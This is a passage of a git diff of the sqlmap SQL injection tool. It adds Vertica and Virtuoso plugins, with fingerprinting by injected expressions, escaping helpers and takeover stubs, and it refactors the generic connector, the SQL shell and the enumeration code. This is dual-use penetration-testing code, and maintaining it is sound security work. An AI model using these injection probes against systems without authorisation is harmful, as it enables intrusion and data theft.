CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+TO_UNICHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True """ def escaper(value): - return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "TO_UNICHAR", ord(value[i])) for i in xrange(len(value))) + return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "TO_UNICHAR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 9a9dfd7c4fe..ccc94f21e20 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,17 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py new file mode 100644 index 00000000000..2d0f69528e0 --- /dev/null +++ b/plugins/dbms/vertica/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VERTICA_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.vertica.enumeration import Enumeration +from plugins.dbms.vertica.filesystem import Filesystem +from plugins.dbms.vertica.fingerprint import Fingerprint +from plugins.dbms.vertica.syntax import Syntax +from plugins.dbms.vertica.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VerticaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Vertica methods + """ + + def __init__(self): + self.excludeDbsList = VERTICA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VERTICA] = Syntax.escape diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py new file mode 100644 index 00000000000..6809989369c --- /dev/null +++ b/plugins/dbms/vertica/connector.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import vertica_python +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/vertica/vertica-python + User guide: https://github.com/vertica/vertica-python/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = vertica_python.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port, connection_timeout=conf.timeout) + except vertica_python.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except vertica_python.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query, commit=True): + try: + self.cursor.execute(query) + except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except vertica_python.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + # commit non-SELECT (DML) here; select() commits only AFTER fetchall() because vertica_python shares one + # cursor per connection and commit() runs COMMIT through it, discarding the unfetched result set + if commit: + self.connector.commit() + + def select(self, query): + self.execute(query, commit=False) + retVal = self.fetchall() + self.connector.commit() + return retVal diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py new file mode 100644 index 00000000000..49ead488f66 --- /dev/null +++ b/plugins/dbms/vertica/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getRoles(self, *args, **kwargs): + warnMsg = "on Vertica it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/vertica/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py new file mode 100644 index 00000000000..a98238041b1 --- /dev/null +++ b/plugins/dbms/vertica/fingerprint.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import VERTICA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VERTICA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VERTICA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): + setDbms(DBMS.VERTICA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.VERTICA + logger.info(infoMsg) + + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VERTICA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.VERTICA) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.VERTICA + logger.info(infoMsg) + + if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"): + Backend.setVersion(">= 9.0") + else: + Backend.setVersion("< 9.0") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py new file mode 100644 index 00000000000..556a0273c22 --- /dev/null +++ b/plugins/dbms/vertica/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True + """ + + def escaper(value): + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py new file mode 100644 index 00000000000..93c3dbd3ea9 --- /dev/null +++ b/plugins/dbms/vertica/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py new file mode 100644 index 00000000000..07f68d2ce62 --- /dev/null +++ b/plugins/dbms/virtuoso/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VIRTUOSO_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.virtuoso.enumeration import Enumeration +from plugins.dbms.virtuoso.filesystem import Filesystem +from plugins.dbms.virtuoso.fingerprint import Fingerprint +from plugins.dbms.virtuoso.syntax import Syntax +from plugins.dbms.virtuoso.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VirtuosoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Virtuoso methods + """ + + def __init__(self): + self.excludeDbsList = VIRTUOSO_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VIRTUOSO] = Syntax.escape diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py new file mode 100644 index 00000000000..e2980734d7f --- /dev/null +++ b/plugins/dbms/virtuoso/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Virtuoso it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py new file mode 100644 index 00000000000..25443703c0f --- /dev/null +++ b/plugins/dbms/virtuoso/enumeration.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Virtuoso it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Virtuoso it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Virtuoso it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def searchDb(self): + warnMsg = "on Virtuoso it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Virtuoso it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Virtuoso it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Virtuoso search option is not available" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Virtuoso it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py new file mode 100644 index 00000000000..ada2ec7d61c --- /dev/null +++ b/plugins/dbms/virtuoso/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Virtuoso it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Virtuoso it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py new file mode 100644 index 00000000000..b033511b8a6 --- /dev/null +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import VIRTUOSO_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VIRTUOSO) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VIRTUOSO + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VIRTUOSO_ALIASES): + setDbms(DBMS.VIRTUOSO) + return True + + infoMsg = "testing %s" % DBMS.VIRTUOSO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("GET_KEYWORD(NULL,NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VIRTUOSO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("RDF_NOW_IMPL() IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO + logger.warning(warnMsg) + + return False + + setDbms(DBMS.VIRTUOSO) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/virtuoso/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py new file mode 100644 index 00000000000..e91c8050796 --- /dev/null +++ b/plugins/dbms/virtuoso/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Virtuoso it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Virtuoso it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Virtuoso it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Virtuoso it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 7bce4748c04..ee235b13b63 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -12,7 +12,7 @@ from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUndefinedMethod -class Connector: +class Connector(object): """ This class defines generic dbms protocol functionalities for plugins. """ @@ -20,23 +20,24 @@ class Connector: def __init__(self): self.connector = None self.cursor = None + self.hostname = None def initConnection(self): - self.user = conf.dbmsUser - self.password = conf.dbmsPass if conf.dbmsPass is not None else "" + self.user = conf.dbmsUser or "" + self.password = conf.dbmsPass or "" self.hostname = conf.hostname self.port = conf.port self.db = conf.dbmsDb def printConnected(self): - infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) - infoMsg += ":%d established" % self.port - logger.info(infoMsg) + if self.hostname and self.port: + infoMsg = "connection to %s server '%s:%d' established" % (conf.dbms, self.hostname, self.port) + logger.info(infoMsg) def closed(self): - infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) - infoMsg += ":%d closed" % self.port - logger.info(infoMsg) + if self.hostname and self.port: + infoMsg = "connection to %s server '%s:%d' closed" % (conf.dbms, self.hostname, self.port) + logger.info(infoMsg) self.connector = None self.cursor = None @@ -50,8 +51,8 @@ def close(self): self.cursor.close() if self.connector: self.connector.close() - except Exception, msg: - logger.debug(msg) + except Exception as ex: + logger.debug(ex) finally: self.closed() @@ -62,20 +63,20 @@ def checkFileDb(self): def connect(self): errMsg = "'connect' method must be defined " - errMsg += "into the specific DBMS plugin" + errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def fetchall(self): errMsg = "'fetchall' method must be defined " - errMsg += "into the specific DBMS plugin" + errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def execute(self, query): errMsg = "'execute' method must be defined " - errMsg += "into the specific DBMS plugin" + errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def select(self, query): errMsg = "'select' method must be defined " - errMsg += "into the specific DBMS plugin" + errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 8362a49487f..de4ef537523 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,28 +1,37 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import re import sys from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet -from lib.core.common import getUnicode +from lib.core.common import isListLike from lib.core.common import isStackingAvailable +from lib.core.common import joinValue +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.enums import DBMS +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion from lib.request import inject +from thirdparty.six.moves import input as _input -class Custom: +class Custom(object): """ This class defines custom enumeration functionalities for plugins. """ @@ -35,38 +44,52 @@ def sqlQuery(self, query): sqlType = None query = query.rstrip(';') - for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): - for sqlStatement in sqlStatements: - if query.lower().startswith(sqlStatement): - sqlType = sqlTitle - break - if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType): - infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) - logger.info(infoMsg) + try: + for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): + for sqlStatement in sqlStatements: + if query.lower().startswith(sqlStatement): + sqlType = sqlTitle + break + + if not re.search(r"\b(OPENROWSET|INTO)\b", query, re.I) and (not sqlType or "SELECT" in sqlType): + infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) + logger.info(infoMsg) + + if Backend.isDbms(DBMS.MSSQL): + match = re.search(r"(\bFROM\s+)([^\s]+)", query, re.I) + if match and match.group(2).count('.') == 1: + query = query.replace(match.group(0), "%s%s" % (match.group(1), match.group(2).replace('.', ".dbo."))) - output = inject.getValue(query, fromUser=True) + query = re.sub(r"(?i)\w+%s\.?" % METADB_SUFFIX, "", query) - return output - elif not isStackingAvailable() and not conf.direct: - warnMsg = "execution of custom SQL queries is only " + output = inject.getValue(query, fromUser=True) + + if sqlType and "SELECT" in sqlType and isListLike(output): + for i in xrange(len(output)): + if isListLike(output[i]): + output[i] = joinValue(output[i]) + + return output + elif not isStackingAvailable() and not conf.direct: + warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" - logger.warn(warnMsg) + logger.warning(warnMsg) return None - else: - if sqlType: - debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: - debugMsg = "executing unknown SQL type query: '%s'" % query - logger.debug(debugMsg) + if sqlType: + infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query) + else: + infoMsg = "executing unknown SQL command: '%s'" % query + logger.info(infoMsg) - inject.goStacked(query) + inject.goStacked(query) - debugMsg = "done" - logger.debug(debugMsg) + output = NULL - output = NULL + except SqlmapNoneDataException as ex: + logger.warning(ex) return output @@ -81,14 +104,19 @@ def sqlShell(self): query = None try: - query = raw_input("sql-shell> ") + query = _input("sql-shell> ") query = getUnicode(query, encoding=sys.stdin.encoding) + query = query.strip("; ") + except UnicodeDecodeError: + print() + errMsg = "invalid user input" + logger.error(errMsg) except KeyboardInterrupt: - print + print() errMsg = "user aborted" logger.error(errMsg) except EOFError: - print + print() errMsg = "exit" logger.error(errMsg) break @@ -102,7 +130,7 @@ def sqlShell(self): output = self.sqlQuery(query) if output and output != "Quit": - conf.dumper.query(query, output) + conf.dumper.sqlQuery(query, output) elif not output: pass @@ -114,18 +142,18 @@ def sqlFile(self): infoMsg = "executing SQL statements from given file(s)" logger.info(infoMsg) - for sfile in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile): - sfile = sfile.strip() + for filename in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile): + filename = filename.strip() - if not sfile: + if not filename: continue - snippet = getSQLSnippet(Backend.getDbms(), sfile) + snippet = getSQLSnippet(Backend.getDbms(), filename) - if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))): - for query in filter(None, snippet.split(';' if ';' in snippet else '\n')): + if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _)): + for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _): query = query.strip() if query: - conf.dumper.query(query, self.sqlQuery(query)) + conf.dumper.sqlQuery(query, self.sqlQuery(query)) else: - conf.dumper.query(snippet, self.sqlQuery(snippet)) + conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet)) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 8070fc0ad51..f01d4095bd1 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,13 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import re + from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend +from lib.core.common import filterNone from lib.core.common import filterPairValues from lib.core.common import flattenValue from lib.core.common import getLimitRange @@ -21,6 +24,8 @@ from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat +from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming @@ -29,20 +34,31 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries +from lib.core.decorators import stackedmethod +from lib.core.dicts import ALTIBASE_TYPES from lib.core.dicts import FIREBIRD_TYPES +from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import BINARY_FIELDS_TYPE_KEYWORDS from lib.core.settings import CURRENT_DB +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import PLUS_ONE_DBMSES +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import UPPER_CASE_DBMSES +from lib.core.settings import VERTICA_DEFAULT_SCHEMA from lib.request import inject -from lib.techniques.brute.use import columnExists -from lib.techniques.brute.use import tableExists +from lib.utils.brute import columnExists +from lib.utils.brute import tableExists +from thirdparty import six -class Databases: +class Databases(object): """ This class defines databases' enumeration functionalities for plugins. """ @@ -54,6 +70,8 @@ def __init__(self): kb.data.cachedColumns = {} kb.data.cachedCounts = {} kb.data.dumpedTable = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -64,11 +82,19 @@ def getCurrentDb(self): if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): + kb.data.currentDb = VERTICA_DEFAULT_SCHEMA + + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): + warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() + warnMsg += "user names for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + singleTimeWarnMessage(warnMsg) return kb.data.currentDb @@ -82,16 +108,24 @@ def getDbs(self): warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" - logger.warn(warnMsg) + logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.SPANNER): warnMsg = "schema names are going to be 